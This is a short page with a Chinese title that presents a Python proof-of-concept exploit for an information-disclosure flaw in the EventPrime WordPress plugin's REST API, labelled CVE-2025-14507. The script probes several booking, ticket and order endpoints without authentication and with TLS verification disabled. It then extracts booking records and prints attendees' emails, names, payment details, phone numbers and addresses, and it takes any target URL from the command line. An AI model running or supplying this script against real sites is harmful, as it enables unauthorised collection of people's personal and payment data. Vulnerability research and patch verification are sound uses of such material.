CVE-2025-14507 EventPrime WordPress插件REST API敏感信息泄露漏洞

# CVE-2025-14507 PoC - EventPrime REST API Sensitive Information Exposure # Affected versions: <= 4.2.7.0 # Requires: API enabled by administrator import requests import json import sys def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-14507""" # API endpoints that expose sensitive data endpoints = [ '/wp-json/epse/v1/bookings', '/wp-json/epse/v1/tickets', '/wp-json/epse/v1/orders', '/wp-json/eventprime/v1/bookings', '/wp-json/eventprime/v1/tickets' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-14507 - EventPrime REST API Information Disclosure\n") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Send unauthenticated request response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: data = response.json() if data and len(str(data)) > 50: # Check if response contains data print(f"[+] VULNERABLE: {endpoint}") print(f" Status: {response.status_code}") print(f" Data length: {len(str(data))} bytes") print(f" Sample data: {str(data)[:200]}...\n") return True except requests.exceptions.RequestException as e: print(f"[-] Error testing {endpoint}: {e}") print("[-] Target does not appear to be vulnerable or API is disabled") return False def extract_sensitive_data(target_url): """Extract sensitive booking data from vulnerable endpoint""" endpoint = '/wp-json/epse/v1/bookings' url = target_url.rstrip('/') + endpoint print(f"\n[*] Attempting to extract sensitive data...") try: response = requests.get(url, timeout=10, verify=False) if response.status_code == 200: data = response.json() # Parse and display sensitive information if isinstance(data, list) and len(data) > 0: print(f"[+] Extracted {len(data)} booking records") for i, record in enumerate(data[:5]): # Show first 5 records print(f"\n--- Booking Record {i+1} ---") if isinstance(record, dict): for key, value in record.items(): sensitive_keys = ['email', 'name', 'payment', 'order', 'phone', 'address'] if any(s in key.lower() for s in sensitive_keys): print(f" {key}: {value}") return data except Exception as e: print(f"[-] Error extracting data: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-14507-poc.py <target_url>") print("Example: python cve-2025-14507-poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target) extract_sensitive_data(target)